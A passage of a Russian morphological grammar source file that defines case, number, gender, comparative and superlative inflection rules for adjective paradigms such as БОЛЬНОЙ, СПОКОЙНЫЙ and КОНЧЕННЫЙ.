ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // СИЛЬНЕЙШИЙ СИЛЬНЕЙШАЯ СИЛЬНЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // СИЛЬНЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // СИЛЬНЕЙШЕГО СИЛЬНЕЙШЕЙ СИЛЬНЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СИЛЬНЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // СИЛЬНЕЙШИМ СИЛЬНЕЙШЕЙ СИЛЬНЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // СИЛЬНЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // СИЛЬНЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // СИЛЬНЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // СИЛЬНЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // СИЛЬНЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // СИЛЬНЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // СИЛЬНЕЙШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // СИЛЬНЕЙШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // СИЛЬНЕЙШЕМУ СИЛЬНЕЙШЕЙ СИЛЬНЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // СИЛЬНЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // СИЛЬНЕЙШЕМ СИЛЬНЕЙШЕЙ СИЛЬНЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СИЛЬНЕЙШИХ
}
}
} // end of paradigm Прил_5010
// БОЛЬНОЙ etc.
paradigm Больной, Прил_5012 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЛЬН[ОЫ]Й"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // БОЛЬНОЙ БОЛЬНАЯ БОЛЬНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // БОЛЬНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // БОЛЬНОГО БОЛЬНОЙ БОЛЬНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // БОЛЬНЫМ БОЛЬНОЙ БОЛЬНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // БОЛЬНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // БОЛЬНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // БОЛЬНОЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // БОЛЬНОГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // БОЛЬНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // БОЛЬНОЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // БОЛЬНЫХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // БОЛЬНЫЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // БОЛЬНОМУ БОЛЬНОЙ БОЛЬНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // БОЛЬНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // БОЛЬНОМ БОЛЬНОЙ БОЛЬНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // БОЛЬНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЁН" "%-2%+А" "%-2%+О" } // БОЛЕН БОЛЬНА БОЛЬНО
ЧИСЛО:МН { "%-2%+Ы" } // БОЛЬНЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // БОЛЬНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // БОЛЬНЕЙ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЕ" } :: flexer "compar2" // ПОСМЕРТНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЙ" } :: flexer "compar2" // ПОСМЕРТНЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ
|{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // БОЛЬНЕЙШИЙ БОЛЬНЕЙШАЯ БОЛЬНЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // БОЛЬНЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // БОЛЬНЕЙШЕГО БОЛЬНЕЙШЕЙ БОЛЬНЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // БОЛЬНЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // БОЛЬНЕЙШИМ БОЛЬНЕЙШЕЙ БОЛЬНЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // БОЛЬНЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // БОЛЬНЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // БОЛЬНЕЙШИЙ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // БОЛЬНЕЙШЕГО
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // БОЛЬНЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // БОЛЬНЕЙШЕЕ
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // БОЛЬНЕЙШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // БОЛЬНЕЙШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // БОЛЬНЕЙШЕМУ БОЛЬНЕЙШЕЙ БОЛЬНЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // БОЛЬНЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // БОЛЬНЕЙШЕМ БОЛЬНЕЙШЕЙ БОЛЬНЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // БОЛЬНЕЙШИХ
}
// Вариант суперлатива НАИ-
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИЙ" "%a0{НАИ}%-2%+ЕЙШАЯ" "%a0{НАИ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕГО" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕГО" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" }
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШИМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШИМ" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШЕЮ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМИ" }
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШИЙ" }
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%a0{НАИ}%-2%+ЕЙШЕГО" }
ЧИСЛО:ЕД РОД:ЖЕН { "%a0{НАИ}%-2%+ЕЙШУЮ" }
ЧИСЛО:ЕД РОД:СР { "%a0{НАИ}%-2%+ЕЙШЕЕ" }
ЧИСЛО:МН ОДУШ:ОДУШ { "%a0{НАИ}%-2%+ЕЙШИХ" }
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%a0{НАИ}%-2%+ЕЙШИЕ" }
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМУ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМУ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИМ" }
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%a0{НАИ}%-2%+ЕЙШЕМ" "%a0{НАИ}%-2%+ЕЙШЕЙ" "%a0{НАИ}%-2%+ЕЙШЕМ" }
ЧИСЛО:МН { "%a0{НАИ}%-2%+ЕЙШИХ" }
}
}
} // end of paradigm 5012
// ЧЕЛОВЕЧЕСКИЙ
paradigm Человеческий, Прил_5015 : ПРИЛАГАТЕЛЬНОЕ for "(.+)КИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // ЧЕЛОВЕЧЕСКИЙ ЧЕЛОВЕЧЕСКАЯ ЧЕЛОВЕЧЕСКОЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // ЧЕЛОВЕЧЕСКИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // ЧЕЛОВЕЧЕСКОГО ЧЕЛОВЕЧЕСКОЙ ЧЕЛОВЕЧЕСКОГО
ЧИСЛО:МН { "%-2%+ИХ" } // ЧЕЛОВЕЧЕСКИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ОЙ" "%-2%+ИМ" } // ЧЕЛОВЕЧЕСКИМ ЧЕЛОВЕЧЕСКОЙ ЧЕЛОВЕЧЕСКИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // ЧЕЛОВЕЧЕСКОЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // ЧЕЛОВЕЧЕСКИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // ЧЕЛОВЕЧЕСКИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // ЧЕЛОВЕЧЕСКУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // ЧЕЛОВЕЧЕСКОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // ЧЕЛОВЕЧЕСКОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // ЧЕЛОВЕЧЕСКИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // ЧЕЛОВЕЧЕСКИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // ЧЕЛОВЕЧЕСКОМУ ЧЕЛОВЕЧЕСКОЙ ЧЕЛОВЕЧЕСКОМУ
ЧИСЛО:МН { "%-2%+ИМ" } // ЧЕЛОВЕЧЕСКИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // ЧЕЛОВЕЧЕСКОМ ЧЕЛОВЕЧЕСКОЙ ЧЕЛОВЕЧЕСКОМ
ЧИСЛО:МН { "%-2%+ИХ" } // ЧЕЛОВЕЧЕСКИХ
}
}
}
} // end of paradigm Прил_5015
// МЕНЬШИЙ
paradigm Меньший, Прил_5017 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ШИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ЕЕ" } // МЕНЬШИЙ МЕНЬШАЯ МЕНЬШЕЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // МЕНЬШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕГО" "%-2%+ЕЙ" "%-2%+ЕГО" } // МЕНЬШЕГО МЕНЬШЕЙ МЕНЬШЕГО
ЧИСЛО:МН { "%-2%+ИХ" } // МЕНЬШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ИМ" "%-2%+ЕЙ" "%-2%+ИМ" } // МЕНЬШИМ МЕНЬШЕЙ МЕНЬШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЮ" } // МЕНЬШЕЮ
ЧИСЛО:МН { "%-2%+ИМИ" } // МЕНЬШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // МЕНЬШИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // МЕНЬШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЕ" } // МЕНЬШЕЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕГО" } // МЕНЬШЕГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ИХ" } // МЕНЬШИХ ЛЮДЕЙ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ИЕ" } // МЕНЬШИЕ МЫСЛИ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМУ" "%-2%+ЕЙ" "%-2%+ЕМУ" } // МЕНЬШЕМУ МЕНЬШЕЙ МЕНЬШЕМУ
ЧИСЛО:МН { "%-2%+ИМ" } // МЕНЬШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕМ" "%-2%+ЕЙ" "%-2%+ЕМ" } // МЕНЬШЕМ МЕНЬШЕЙ МЕНЬШЕМ
ЧИСЛО:МН { "%-2%+ИХ" } // МЕНЬШИХ
}
}
}
} // end of paradigm 5017
// СПОКОЙНЫЙ etc.
paradigm Спокойный, Прил_5019 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ЙНЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // СПОКОЙНЫЙ СПОКОЙНАЯ СПОКОЙНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // ЧИСТЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // СПОКОЙНОГО СПОКОЙНОЙ СПОКОЙНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // СПОКОЙНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // СПОКОЙНЫМ СПОКОЙНОЙ СПОКОЙНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // СПОКОЙНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // СПОКОЙНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // СПОКОЙНЫЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // СПОКОЙНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // СПОКОЙНОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // СПОКОЙНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // СПОКОЙНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // СПОКОЙНЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // СПОКОЙНОМУ СПОКОЙНОЙ СПОКОЙНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // СПОКОЙНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // СПОКОЙНОМ СПОКОЙНОЙ СПОКОЙНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // СПОКОЙНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-4%+ЕН" "%-2%+А" "%-2%+О" } // СПОКОЕН СПОКОЙНА СПОКОЙНО
ЧИСЛО:МН { "%-1" } // СПОКОЙНЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } // СПОКОЙНЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } // СПОКОЙНЕЙ
СТЕПЕНЬ:ПРЕВОСХ ~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИЙ" "%-2%+ЕЙШАЯ" "%-2%+ЕЙШЕЕ" } // СПОКОЙНЕЙШИЙ СПОКОЙНЕЙШАЯ СПОКОЙНЕЙШЕЕ
ЧИСЛО:МН { "%-2%+ЕЙШИЕ" } // СПОКОЙНЕЙШИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕГО" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕГО" } // СПОКОЙНЕЙШЕГО СПОКОЙНЕЙШЕЙ СПОКОЙНЕЙШЕГО
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СПОКОЙНЕЙШИХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШИМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШИМ" } // СПОКОЙНЕЙШИМ СПОКОЙНЕЙШЕЙ СПОКОЙНЕЙШИМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШЕЮ" } // СПОКОЙНЕЙШЕЮ
ЧИСЛО:МН { "%-2%+ЕЙШИМИ" } // СПОКОЙНЕЙШИМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "%-2%+ЕЙШИЙ" } // СПОКОЙНЕЙШИЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ЕЙШУЮ" } // СПОКОЙНЕЙШУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ЕЙШЕЕ" } // СПОКОЙНЕЙШЕЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ЕЙШЕГО" } // СПОКОЙНЕЙШЕГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЕЙШИХ" } // СПОКОЙНЕЙШИХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЕЙШИЕ" } // СПОКОЙНЕЙШИЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМУ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМУ" } // СПОКОЙНЕЙШЕМУ СПОКОЙНЕЙШЕЙ СПОКОЙНЕЙШЕМУ
ЧИСЛО:МН { "%-2%+ЕЙШИМ" } // СПОКОЙНЕЙШИМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ЕЙШЕМ" "%-2%+ЕЙШЕЙ" "%-2%+ЕЙШЕМ" } // СПОКОЙНЕЙШЕМ СПОКОЙНЕЙШЕЙ СПОКОЙНЕЙШЕМ
ЧИСЛО:МН { "%-2%+ЕЙШИХ" } // СПОКОЙНЕЙШИХ
}
}
} // end of paradigm 5019
// ****************************************
// КОНЧЕННЫЙ
// ****************************************
paradigm Сделанный, Прил_5022 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ННЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // КОНЧЕННЫЙ КОНЧЕННАЯ КОНЧЕННОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // КОНЧЕННЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // КОНЧЕННОГО КОНЧЕННОЙ КОНЧЕННОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // КОНЧЕННЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // КОНЧЕННЫМ КОНЧЕННОЙ КОНЧЕННЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // КОНЧЕННОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // КОНЧЕННЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // КОНЧЕННЫЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // КОНЧЕННУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // КОНЧЕННОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // КОНЧЕННОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // КОНЧЕННЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // КОНЧЕННЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // КОНЧЕННОМУ КОНЧЕННОЙ КОНЧЕННОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // КОНЧЕННЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // КОНЧЕННОМ КОНЧЕННОЙ КОНЧЕННОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // КОНЧЕННЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3" "%-3%+А" "%-3%+О" } // КОНЧЕН КОНЧЕНА КОНЧЕНО
ЧИСЛО:МН { "%-3%+Ы" } // КОНЧЕНЫ
}
}
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЕ" } :: flexer "compar" // СМУЩЕННЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%-2%+ЕЙ" } :: flexer "compar" // СМУЩЕННЕЙ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЕ" } :: flexer "compar" // ПОСМУЩЕННЕЕ
СТЕПЕНЬ:СРАВН ~КРАТКИЙ { "%a0{ПО}%-2%+ЕЙ" } :: flexer "compar" // ПОСМУЩЕННЕЙ
} // end of paradigm 5022
// в дополнение к причастию, отдельная парадигма для прилагательного на -ННЫЙ, с отличием в кратких формах
paradigm воспитанный, Прил_5022_3 : ПРИЛАГАТЕЛЬНОЕ for "(.+)ННЫЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // воспитанНЫЙ воспитанНАЯ воспитанНОЕ
ЧИСЛО:МН { "%-2%+ЫЕ" } // воспитанНЫЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // воспитанНОГО воспитанНОЙ воспитанНОГО
ЧИСЛО:МН { "%-2%+ЫХ" } // воспитанНЫХ
}
ПАДЕЖ:ТВОР |{
ЧИСЛО:ЕД РОД { "%-2%+ЫМ" "%-2%+ОЙ" "%-2%+ЫМ" } // воспитанНЫМ воспитанНОЙ воспитанНЫМ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+ОЮ" } // воспитанНОЮ
ЧИСЛО:МН { "%-2%+ЫМИ" } // воспитанНЫМИ
}
ПАДЕЖ:ВИН |{
ЧИСЛО:ЕД ОДУШ:НЕОДУШ РОД:МУЖ { "" } // воспитанНЫЙ
ЧИСЛО:ЕД РОД:ЖЕН { "%-2%+УЮ" } // воспитанНУЮ
ЧИСЛО:ЕД РОД:СР { "%-2%+ОЕ" } // воспитанНОЕ
ЧИСЛО:ЕД ОДУШ:ОДУШ РОД:МУЖ { "%-2%+ОГО" } // воспитанНОГО
ЧИСЛО:МН ОДУШ:ОДУШ { "%-2%+ЫХ" } // воспитанНЫХ
ЧИСЛО:МН ОДУШ:НЕОДУШ { "%-2%+ЫЕ" } // воспитанНЫЕ
}
ПАДЕЖ:ДАТ |{
ЧИСЛО:ЕД РОД { "%-2%+ОМУ" "%-2%+ОЙ" "%-2%+ОМУ" } // воспитанНОМУ воспитанНОЙ воспитанНОМУ
ЧИСЛО:МН { "%-2%+ЫМ" } // воспитанНЫМ
}
ПАДЕЖ:(ПРЕДЛ) |{
ЧИСЛО:ЕД РОД { "%-2%+ОМ" "%-2%+ОЙ" "%-2%+ОМ" } // воспитанНОМ воспитанНОЙ воспитанНОМ
ЧИСЛО:МН { "%-2%+ЫХ" } // воспитанНЫХ
}
}
КРАТКИЙ ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "%-3" "%-2%+А" "%-2%+О" } // воспитан воспитанна воспитанно
ЧИСЛО:МН { "%-2%+Ы" } // воспитанны
}
}
} // end of paradigm 5022_3
// БЛИЗКИЙ
paradigm Близкий, Прил_5023 : ПРИЛАГАТЕЛЬНОЕ for "(.+)\\@бКИЙ"
{
СТЕПЕНЬ:АТРИБ |{
~КРАТКИЙ |{
ПАДЕЖ:(ИМ) |{
ЧИСЛО:ЕД РОД { "" "%-2%+АЯ" "%-2%+ОЕ" } // БЛИЗКОЙ БЛИЗКАЯ БЛИЗКОЕ
ЧИСЛО:МН { "%-2%+ИЕ" } // БЛИЗКИЕ
}
ПАДЕЖ:(РОД) |{
ЧИСЛО:ЕД РОД { "%-2%+ОГО" "%-2%+ОЙ" "%-2%+ОГО" } // БЛИЗКОГО БЛИЗКОЙ БЛИЗКОГО
ЧИСЛО:МН { "%-2%+ИХ" } // БЛИЗКИХ
}
ПАДЕЖ:ТВОР |{
